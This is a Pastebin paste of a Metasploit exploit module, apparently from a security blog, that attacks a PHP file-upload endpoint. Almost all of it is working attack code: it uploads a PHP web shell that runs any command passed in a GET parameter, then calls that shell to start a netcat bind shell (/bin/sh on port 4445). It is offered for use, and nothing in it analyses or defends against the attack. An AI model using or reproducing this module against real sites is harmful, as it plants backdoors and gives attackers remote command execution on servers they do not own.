Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ##
- # This module requires Metasploit: http//metasploit.com/download
- # Current source: https://github.com/rapid7/metasploit-framework
- ##
- require 'msf/core'
- class Metasploit3 < Msf::Exploit::Remote
- Rank = ExcellentRanking
- include Msf::HTTP::Wordpress
- include Msf::Exploit::FileDropper
- def initialize(info = {})
- super(update_info(info,
- 'Name' => 'Super cool shell upload',
- 'Description' => %q{
- This is super cool module for Metasploit to check if you can upload shell on target.
- },
- 'Author' =>
- [
- 'HauntIT Blog' # metasploit module
- ],
- 'License' => MSF_LICENSE,
- 'References' =>
- [
- [ 'URL', 'http://HauntIT.blogspot.com']
- ],
- 'Privileged' => false,
- 'Platform' => ['php'],
- 'Arch' => ARCH_PHP,
- 'Targets' => [ ['Any vulnerable upload ', {}] ],
- 'DefaultTarget' => 0,
- 'DisclosureDate' => '28/12/2014'))
- end
- def check
- readurl = normalize_uri(target_uri.path, 'upload','upload.php')
- res = send_request_cgi({
- 'uri' => readurl,
- 'method' => 'GET'
- })
- if res.code != 200
- return Msf::Exploit::CheckCode::Unknown
- end
- return Msf::Exploit::CheckCode::Safe
- end
- def exploit
- payload_name = "#{rand_text_alpha(10)}.php"
- shell = "<?php echo '<pre>';$c=$_GET['c'];shell_exec($c);?>"
- uri = normalize_uri(target_uri.path, 'upload','upload.php')
- data = Rex::MIME::Message.new
- data.add_part(shell, 'application/octet-stream', 'binary', "form-data; name=\"plik\"; filename=\"#{payload_name}\"")
- post_data = data.to_s
- payload_uri = normalize_uri(target_uri.path, 'upload','foto', payload_name)
- print_status("#{peer} - Uploading payload to #{payload_uri}")
- res = send_request_cgi({
- 'method' => 'POST',
- 'uri' => uri,
- 'ctype' => "multipart/form-data; boundary=#{data.bound}",
- 'vars_post' => { 'plik' => '#{payload_name}' },
- 'data' => post_data
- })
- if res.code != 200 || res.body =~ /Blad/
- fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
- else
- print_status("Got shell ;>")
- end
- print_status("#{peer} - Executing payload #{payload_uri}")
- res = send_request_cgi({
- 'uri' => payload_uri,
- 'method' => 'GET',
- 'vars_get' => {'c' => 'id;nc -lvvp 4445 -e /bin/sh &'}
- })
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement